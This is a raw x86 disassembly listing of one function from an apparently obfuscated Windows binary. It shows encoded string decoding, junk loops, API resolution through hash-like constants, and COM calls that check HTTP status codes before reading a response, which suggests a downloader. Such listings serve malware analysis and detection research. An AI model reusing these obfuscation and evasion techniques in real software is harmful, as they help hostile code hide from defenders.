mov word [ebp - 0xb6], 0x7820
mov word [ebp - 0x536], ax
pop esi
movzx eax, byte [ebp + edi - 0x102]
movzx edx, byte [ebp + edi - 0xff]
mov ecx, edx
movzx eax, word [ebp + eax*2 - 0x550]
or ecx, eax
and edx, eax
movzx eax, byte [ebp + edi - 0x100]
sub ecx, edx
add edi, esi
mov word [ebp + eax*2 - 0x550], cx
cmp edi, 0x4c
jb 0x1001fd8e
xor eax, eax
lea ecx, [ebp - 0x30c]
push 1
mov word [ebp - 0x504], ax
call fcn.1000e794
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0x1a
push ecx
push 0x65a3
xor eax, eax
mov dword [ebp - 0x14], 0xfffffff6
push ebx
inc eax
mov dword [ebp - 0x24], 0xffffffff
push eax
mov dword [ebp - 0x268], eax
lea ecx, [ebp - 0x58]
push 0x349b
mov dword [ebp - 0x24], 7
xor dl, dl
mov dword [ebp - 0x258], 0x1013923c
push 0x7e12
mov dword [ebp - 0x214], 0xc044b0bf
mov dword [ebp - 0x24], 0xe0bec035
push 0x1925
call fcn.1001e1e1
add esp, 0x1c
mov dword [ebp - 0x58], ebx
jmp 0x1001fe58
mov eax, dword [ebp - 0x58]
mov dword [ebp + eax*4 - 0x3ec], 0x6ebf4d39
inc dword [ebp - 0x58]
cmp dword [ebp - 0x58], esi
jl 0x1001fe47
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], ebx
jl 0x1001ff85
mov dword [ebp - 0x24], 0xfffffffd
lea ecx, [ebp - 0x298]
mov dword [ebp - 0x24], ebx
push 1
call fcn.1000e794
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2a4]
mov dword [ebp - 0x250], ebx
push 3
call fcn.1000e794
sub esp, 0x18
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x260], 7
lea edx, [ebp - 0x298]
push 1
push ecx
push ecx
lea ecx, [ebp - 0x220]
call fcn.1001e6f3
add esp, 0x24
lea eax, [ebp - 0x2a4]
mov ecx, 0x6d74
push eax
push ebx
push 0x1c04
push 0x54c6
lea eax, [ebp - 0x220]
push eax
xor eax, eax
inc eax
push eax
push 0xe24
mov dl, al
call fcn.1001dcee
mov ecx, dword [ebp - 0x14]
add esp, 0x1c
mov eax, dword [ebp - 0x30c]
cmp dword [eax + ecx*4], ebx
jne 0x1001ff6f
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x250]
push eax
push ecx
push ecx
push 0x246c
push ecx
lea eax, [ebp - 0x258]
push eax
push ecx
lea eax, [ebp - 0x260]
push eax
lea eax, [ebp - 0x2a4]
push eax
push ecx
push ecx
push 0x70f5
push ebx
push ecx
push ecx
lea eax, [ebp - 0x268]
push eax
lea edx, [ebp - 0x214]
call fcn.1001df4b
add esp, 0x44
lea ecx, [ebp - 0x2a4]
call fcn.1000e817
lea ecx, [ebp - 0x298]
mov byte [ebp - 4], 0x1a
call fcn.1000e817
dec dword [ebp - 0x14]
jns 0x1001fe69
jmp 0x1001ff85
lea ecx, [ebp - 0x2a4]
call fcn.1000e817
lea ecx, [ebp - 0x298]
call fcn.1000e817
lea ecx, [ebp - 0x30c]
mov byte [ebp - 4], 0x10
call fcn.1000e817
xor eax, eax
mov dword [ebp - 0x2d4], 7
mov word [ebp - 0x2e8], ax
lea ecx, [ebp - 0x2e8]
lea eax, [ebp - 0x550]
mov dword [ebp - 0x2d8], ebx
push eax
call fcn.1001d0db
mov byte [ebp - 4], 0x1d
lea edi, [ebp - 0x550]
push 0x13
pop ecx
xor eax, eax
mov dword [ebp - 0x150], 0xa041215
rep stosd dword es:[edi], eax
push 0x74
pop ecx
push 0x33
stosw word es:[edi], ax
xor eax, eax
inc eax
mov byte [ebp - 0x13d], cl
mov byte [ebp - 0x128], al
mov byte [ebp - 0x10b], al
pop eax
mov byte [ebp - 0x105], cl
mov ecx, ebx
push 2
mov dword [ebp - 0x14c], 0x4e250a0d
mov dword [ebp - 0x148], 0x761d3f22
mov dword [ebp - 0x144], 0x14130d1f
mov word [ebp - 0x140], 0x6817
mov byte [ebp - 0x13e], 0xf
mov dword [ebp - 0x13c], 0x77030212
mov dword [ebp - 0x138], 0x7305070b
mov dword [ebp - 0x134], 0x7116731b
mov dword [ebp - 0x130], 0x1b081f09
mov dword [ebp - 0x12c], 0x91a0f0a
mov dword [ebp - 0x127], 0x3762176
mov dword [ebp - 0x123], 0xed22528
mov dword [ebp - 0x11f], 0x181d
mov dword [ebp - 0x11b], 0x203d1e56
mov dword [ebp - 0x117], 0xc7b237f
mov dword [ebp - 0x113], 0x6071c75
mov dword [ebp - 0x10f], 0x7761976
mov dword [ebp - 0x10a], 0x73140010
mov byte [ebp - 0x106], 2
mov dword [ebp - 0x104], 0x70247211
mov word [ebp - 0x576], ax
pop esi
mov dword [ebp - 0x154], ecx
cmp esi, 0x2c
jne 0x100200e3
push 4
pop ecx
push 0x2e
mov dword [ebp - 0x154], ecx
pop esi
jmp 0x1002013f
movzx edx, byte [ebp + esi - 0x14f]
mov eax, esi
sub eax, ecx
push ebx
push 0x5a48
movzx eax, byte [ebp + eax - 0x152]
movzx ecx, word [ebp + eax*2 - 0x5a0]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x150]
add ecx, edx
mov word [ebp + eax*2 - 0x5a0], cx
xor eax, eax
inc eax
lea ecx, [ebp - 0x154]
push eax
push ecx
mov dl, al
mov ecx, 0x7f9b
call fcn.1001e974
mov ecx, dword [ebp - 0x154]
add esp, 0x10
add esi, 2
cmp esi, 0x50
jb 0x100200d0
xor eax, eax
mov ecx, 0xce8
mov word [ebp - 0x554], ax
inc eax
mov dword [ebp - 0x254], 0xbf90a233
mov dword [ebp - 0x240], 0xc40ed3c1
mov dword [ebp - 0x1fc], 0x658a6001
mov dword [ebp - 0x248], eax
push eax
mov dword [ebp - 0x228], 0xa3bdf78
lea eax, [ebp - 0x4b]
mov dword [ebp - 0x20c], 0xfffffff8
mov dword [ebp - 0x238], 0x5ab1361
push 0x559f
mov dword [ebp - 0x230], ebx
mov byte [ebp - 0x4b], bl
push eax
call fcn.1001e72c
pop ecx
pop ecx
lea eax, [ebp - 0x228]
mov ecx, 0x1960
push eax
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x238]
push eax
lea eax, [ebp - 0x240]
push eax
push ebx
push 0x70fd
lea edx, [ebp - 0x254]
call fcn.1001e852
xor eax, eax
mov dword [ebp - 0x2bc], 7
add esp, 0x28
mov word [ebp - 0x2d0], ax
lea eax, [ebp - 0x5a0]
mov dword [ebp - 0x2c0], ebx
lea ecx, [ebp - 0x2d0]
push eax
call fcn.1001d0db
mov byte [ebp - 4], 0x1e
mov dword [ebp - 0x20], 0x4a8c6a53
mov dword [ebp - 0x64], 1
mov dword [ebp - 0x14], 0xfffffffd
mov dword [ebp - 0x24], 0xb7be2d3d
mov dword [ebp - 0x34], 0x4121
cmp dword [ebp - 0x34], 0x44af
jle 0x100202b7
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov eax, edi
cdq
idiv esi
mov eax, ecx
lea ecx, [ebp - 0x488]
sub eax, edx
cdq
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10020281
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x488]
call fcn.1000efb0
mov ecx, dword [ebp - 0x14]
inc esi
cmp esi, 0x7759
jl 0x10020260
inc edi
cmp edi, 0x6d22
jl 0x1002025e
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x6b29
jl 0x1002025c
mov dword [ebp - 0x18], 0xfffc
cmp dword [ebp - 0x34], 0x3ef8
jge 0x100202d2
push str.rar_fdcqzlbpu_vsqostluv_xxvi_dttf_hffjnla_qbqb_fnzq_mnecp_dgwxbu_phovdtqd_nngr_cuud_suumr
call fcn.10045eb3
pop ecx
mov dword [ebp - 4], 0x1e
mov dword [ebp - 0x14], ebx
jmp 0x100202ef
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3d4], 0x31bb000e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x100202de
mov dword [ebp - 0x20], 0xa
cmp dword [ebp - 0x20], 8
jne 0x1002041d
push 2
pop esi
push 0xfffffffffffffffa
pop edi
push 0x6d9d
xor eax, eax
mov dword [ebp - 0x1c], ebx
inc eax
lea ecx, [ebp - 0x64]
push eax
push 0x56b0
push 0x4eee
push 0x4bc
push eax
mov dword [ebp - 0x34], eax
mov dl, al
push 0x3bfe
call fcn.1001dcee
mov eax, dword [ebp - 0x20]
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
add esp, 0x1c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
setle cl
cmp ecx, 0xfffffff8
jl 0x100203d4
mov dword [ebp - 0x18], 0x67b47e0f
mov dword [ebp - 0x14], 0xf1bd53d2
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x24]
neg eax
sbb eax, eax
inc eax
cmp dword [ebp - 0x18], eax
jne 0x100203a8
mov eax, dword [ebp - 0x64]
cmp edi, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x1c]
je 0x100203a8
mov edx, ebx
jmp 0x100203ab
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setg cl
add ecx, dword [ebp - 0x14]
cmp ecx, dword [ebp - 0x1c]
jg 0x100203c7
cmp dword [ebp - 0x18], ebx
je 0x100203c7
xor eax, eax
inc eax
jmp 0x100203c9
mov eax, ebx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
jmp 0x10020410
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], ebx
jl 0x10020410
push 0x48e9
push 0x7929
xor eax, eax
mov byte [ebp - 0x4a], bl
inc eax
xor dl, dl
push eax
push eax
push 0x1437
lea eax, [ebp - 0x4a]
mov ecx, 0x461c
push 0x55f3
push eax
call fcn.1001e1e1
add esp, 0x1c
dec dword [ebp - 0x14]
jns 0x100203dc
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 8
je 0x1002030c
push 0x13
pop ecx
push dword [ebp - 0x74]
xor eax, eax
movdqa xmm0, xmmword [0x1006c400]
lea edi, [ebp - 0x5a0]
mov dword [ebp - 0x1f8], ebx
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1f4], ebx
movdqu xmmword [ebp - 0x3a8], xmm0
mov dword [ebp - 0x1f0], ebx
stosw word es:[edi], ax
lea eax, [ebp - 0x398]
push eax
lea eax, [ebp - 0x3a8]
push eax
push ebx
call fcn.10013b89
push ebx
lea eax, [ebp - 0x1f8]
mov byte [ebp - 4], 0x21
push eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x5c], 0x942a1e94
push 0x2e48
push eax
call fcn.1001e31e
add esp, 0x10
mov dword [ebp - 0x5c], 0xfffffff6
jmp 0x100204c3
push ecx
push 0x605b
push 0x3566
xor dl, dl
call fcn.1001e5aa
mov byte [ebp - 0x41], bl
add esp, 0xc
cmp byte [ebp - 0x41], 0
je 0x100204c0
push ecx
push 1
call fcn.1001dda0
pop ecx
pop ecx
inc dword [ebp - 0x5c]
cmp dword [ebp - 0x5c], 0x1a
jl 0x10020498
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 4], 0x1e
call fcn.1000e817
cmp dword [ebp - 0x2d4], 8
lea ecx, [ebp - 0x3e4]
push ecx
lea eax, [ebp - 0x2e8]
mov edi, 0x10965
cmovae eax, dword [ebp - 0x2e8]
mov esi, 0x104e6
push eax
push edi
push esi
call fcn.1003ec14
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10020a50
cmp dword [ebp - 0x2bc], 8
lea ecx, [ebp - 0x410]
push ecx
lea eax, [ebp - 0x2d0]
cmovae eax, dword [ebp - 0x2d0]
push eax
push edi
push esi
call fcn.1003ec14
pop ecx
pop ecx
call eax
test eax, eax
jne 0x10020a50
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x3e4]
push eax
push 3
push ebx
lea eax, [ebp - 0x410]
push eax
push edi
push 0xc5f4
call fcn.1003ec14
pop ecx
pop ecx
call eax
test eax, eax
js 0x10020a50
cmp dword [ebp - 0x28], 0
je 0x10020a50
push 0xb
pop eax
mov word [ebp - 0x40], ax
mov ecx, ebx
push 0x74
xor eax, eax
mov dword [ebp - 0x70], 0x11018002
mov word [ebp - 0x38], ax
pop eax
push 2
pop esi
push 0xb
mov word [ebp - 0x170], ax
mov dword [ebp - 0x6c], 0xcd042200
mov word [ebp - 0x68], 0x2e2b
mov byte [ebp - 0x66], 0x21
pop eax
cmp esi, 6
jne 0x100205ba
push 5
pop ecx
push 9
pop esi
jmp 0x100205ec
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, ecx
push 0xb
movzx eax, byte [ebp + eax - 0x72]
movzx ecx, word [ebp + eax*2 - 0x174]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
mov word [ebp + eax*2 - 0x174], cx
mov ecx, ebx
pop eax
add esi, 2
cmp esi, eax
jb 0x100205ad
xor eax, eax
mov dword [ebp - 0x1ac], 7
mov word [ebp - 0x16e], ax
lea ecx, [ebp - 0x1c0]
mov word [ebp - 0x1c0], ax
lea eax, [ebp - 0x174]
push eax
mov dword [ebp - 0x1b0], ebx
call fcn.1001d0db
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x1c0]
cmp dword [ebp - 0x1ac], 8
mov eax, dword [ebp - 0x1b0]
cmovae ecx, dword [ebp - 0x1c0]
push dword [ebp - 0x74]
mov dword [ebp - 0x174], ebx
mov dword [ebp - 0x170], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x208], ebx
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x204], ebx
cmovae ecx, dword [ebp - 0x1c0]
push eax
push ecx
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x200], ebx
call fcn.1001d89e
push 0x392b
push 0x2306
xor eax, eax
mov byte [ebp - 4], 0x23
inc eax
lea ecx, [ebp - 0x208]
push eax
push ebx
push ecx
push 0x43bc
push 0x5682
mov dl, al
mov ecx, 0x6082
call fcn.1001e1e1
mov edx, dword [ebp - 0x18c]
add esp, 0x1c
cmp dword [edx + 0x14], 8
jb 0x100206c4
mov ecx, dword [edx]
jmp 0x100206c6
mov ecx, edx
cmp dword [edx + 0x14], 8
mov eax, dword [edx + 0x10]
lea eax, [ecx + eax*2]
jb 0x100206d4
mov edx, dword [edx]
push dword [ebp - 0x74]
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1cc], ebx
push eax
push edx
mov dword [ebp - 0x1c8], ebx
mov dword [ebp - 0x1c4], ebx
call fcn.1001d89e
lea eax, [ebp - 0x1e0]
mov byte [ebp - 4], 0x24
push eax
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x1e0], ebx
call fcn.1001d086
cmp dword [ebp - 0x1ac], 8
lea edx, [ebp - 0x1c0]
lea esi, [ebp - 0x338]
mov eax, dword [ebp - 0x28]
cmovae edx, dword [ebp - 0x1c0]
sub esp, 0x10
mov edi, esp
sub esp, 0x10
mov ecx, dword [eax]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x338]
sub esp, 0x10
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, esp
lea esi, [ebp - 0x40]
push dword [ebp - 0x1cc]
push edx
movsd dword es:[edi], dword [esi]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x1c]
test eax, eax
js 0x10020a17
mov esi, dword [ebp - 0x1a8]
mov cl, 1
mov dword [ebp - 0x16c], ebx
cmp esi, dword [ebp - 0x1a4]
je 0x100207c8
add esi, 0x18
test cl, cl
je 0x100207b0
cmp dword [esi + 0x14], 8
jb 0x1002078f
mov edi, dword [esi]
jmp 0x10020791
mov edi, esi
cmp dword [esi - 4], 8
jb 0x1002079c
mov edx, dword [esi - 0x18]
jmp 0x1002079f
lea edx, [esi - 0x18]
mov eax, dword [ebp - 0x28]
push edi
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x20]
mov cl, 1
test eax, eax
jns 0x100207b2
mov cl, bl
add esi, 0x30
lea eax, [esi - 0x18]
cmp eax, dword [ebp - 0x1a4]
jne 0x10020781
test cl, cl
je 0x10020a17
mov eax, dword [ebp - 0x28]
lea esi, [ebp - 0x338]
sub esp, 0x10
mov edi, esp
mov ecx, dword [eax]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call dword [ecx + 0x2c]
test eax, eax
js 0x10020a17
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x16c]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x34]
test eax, eax
js 0x10020a17
cmp dword [ebp - 0x16c], 0x130
je 0x1002081c
cmp dword [ebp - 0x16c], 0xc8
jne 0x10020a17
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x400]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x48]
test eax, eax
js 0x10020a17
mov ecx, dword [ebp - 0x3f8]
mov dword [ebp - 0x168], ecx
test ecx, ecx
je 0x10020a17
mov eax, dword [ecx]
lea edx, [ebp - 0x5e8]
push 1
push edx
push ecx
call dword [eax + 0x30]
test eax, eax
js 0x100209f2
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x5dc]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0x14ac
cmp dword [ebp - 0x34], 0x1607
jle 0x100208d2
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x4a0]
push edx
push eax
call fcn.10001a94
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100208a0
mov eax, dword [eax]
push eax
call fcn.10045eb3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4a0]
call fcn.1000efb0
inc edi
cmp edi, 0x6333
jl 0x10020885
inc esi
cmp esi, 0x6db9
jl 0x10020883
push 0x267c
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
cmp dword [ebp - 0x34], 0x1285
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x78], eax
jge 0x100208ec
push str.ockjnacke_whmeik_fnjsqrym_nbxpei
call fcn.10045eb3
pop ecx
push ebx
lea eax, [ebp - 0x198]
mov dword [ebp - 4], 0x24
push eax
push 0x5c10
lea ecx, [ebp - 0x78]
call fcn.1001e72c
mov edx, dword [ebp - 0x78]
mov eax, ebx
mov edi, dword [ebp - 0x198]
add esp, 0xc
mov esi, dword [ebp - 0x168]
mov dword [ebp - 0x184], edx
mov dword [ebp - 0x164], ebx
mov dword [ebp - 0x160], eax
mov ecx, dword [esi]
add eax, edi
lea edi, [ebp - 0x164]
push edi
push edx
push eax
push esi
call dword [ecx + 0xc]
mov edi, dword [ebp - 0x198]
test eax, eax
js 0x100209cf
push ecx
push 0x2410
push 0x6f35
push 0x2dde
push 0x6a19
push 0x2665
push 0x6239
push 0x43d3
lea eax, [ebp - 0x164]
mov edx, 0x3b50
push 1
push eax
lea ecx, [ebp - 0x160]
call fcn.1001e852
xor eax, eax
lea edx, [ebp - 0x184]
inc eax
mov ecx, 0x2c88
push eax
push 0x6a7f
push ebx
push eax
push 0x64ec
lea eax, [ebp - 0x164]
push eax
push 0x4de5
call fcn.1001e27c
mov eax, dword [ebp - 0x160]
add esp, 0x44
cmp eax, dword [ebp - 0x78]
jae 0x100209cf
mov edx, dword [ebp - 0x184]
jmp 0x1002092e
push ecx
push 1
push ecx
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x198]
push eax
push ecx
lea edx, [ebp - 0x160]
mov ecx, 0x57b
call fcn.1001e90c
add esp, 0x18
xor eax, eax
lea ecx, [ebp - 0x168]
inc eax
push eax
push 0xbc3
push eax
push 0x48eb
mov dl, al
call fcn.1001e974
add esp, 0x10
mov dword [ebp - 0x168], ebx
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea ecx, [ebp - 0x1cc]
mov dword [ebp - 0x28], ebx
call fcn.1000f662
lea ecx, [ebp - 0x208]
call fcn.1000f662
push ebx
push 1
lea ecx, [ebp - 0x1c0]
mov byte [ebp - 4], 0x1e
call fcn.1000f2e8
mov edi, 0x10965
push edi
push 0xc175
call fcn.1003ec14
pop ecx
pop ecx
call eax
mov dword [ebp - 0x60], 0xffffffff
mov dword [ebp - 0x34], 0x4bc1
cmp dword [ebp - 0x34], 0x4e54
jle 0x10020abf
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
mov ecx, 0x10079158
cdq
idiv ebx
xor edx, esi
mov eax, edx
cdq
push edx
push eax
call fcn.1000e4b2
inc ebx
cmp ebx, 0x2385
jl 0x10020a7d
inc edi
push 0
pop ebx
cmp edi, 0x948
jl 0x10020a7a
inc esi
cmp esi, 0x4237
jl 0x10020a78
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
mov dword [ebp - 0x158], 0x8cf1d65f
mov byte [ebp - 4], 0x27
cmp dword [ebp - 0x34], 0x489b
jge 0x10020b03
mov edx, str.ebywfmvor_crxiif_ekajbkoin_eqdn
mov ecx, 0x10079158
call fcn.10012e6f
jmp 0x10020b03
push 2
lea ecx, [ebp - 0x2f4]
mov dword [ebp - 4], 0x1e
call fcn.1000e794
push 0x8ed
push 0x6fd4
push ecx
push ecx
lea eax, [ebp - 0x33c]
mov byte [ebp - 4], 0x29
push eax
push ecx
push 0x52d8
push ecx
push 0x6d21
push 0x72df
push ecx
push ecx
lea eax, [ebp - 0x2f4]
mov edx, 0x42ad
push eax
push 1
push ecx
push ecx
push 0x199
call fcn.1001df4b
add esp, 0x44
mov dword [ebp - 0x60], ebx
jmp 0x10020ba6
lea eax, [ebp - 0x60]
mov dword [ebp - 0x224], ebx
push eax
push 0x5447
lea eax, [ebp - 0x244]
mov dword [ebp - 0x244], 0xbed85728
push eax
xor eax, eax
lea edx, [ebp - 0x224]
inc eax
push eax
push eax
push 0x1de6
push ecx
push eax
lea ecx, [ebp - 0x158]
call fcn.1001eb39
add esp, 0x20
dec dword [ebp - 0x60]
cmp dword [ebp - 0x60], 0xffffffe3
lea ecx, [ebp - 0x2f4]
jne 0x10020b63
mov byte [ebp - 4], 0x1e
call fcn.1000e817
mov ecx, dword [ebp - 0x22c]
lea eax, [ebp - 0x198]
push eax
call fcn.10020d52
push ebx
push 1
lea ecx, [ebp - 0x2d0]
call fcn.1000f2e8
push ebx
push 1
lea ecx, [ebp - 0x2e8]
call fcn.1000f2e8
lea ecx, [ebp - 0x1a8]
call fcn.1001d206
lea ecx, [ebp - 0x198]
call fcn.1001d467
lea ecx, [ebp + 8]
call fcn.1001d206
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret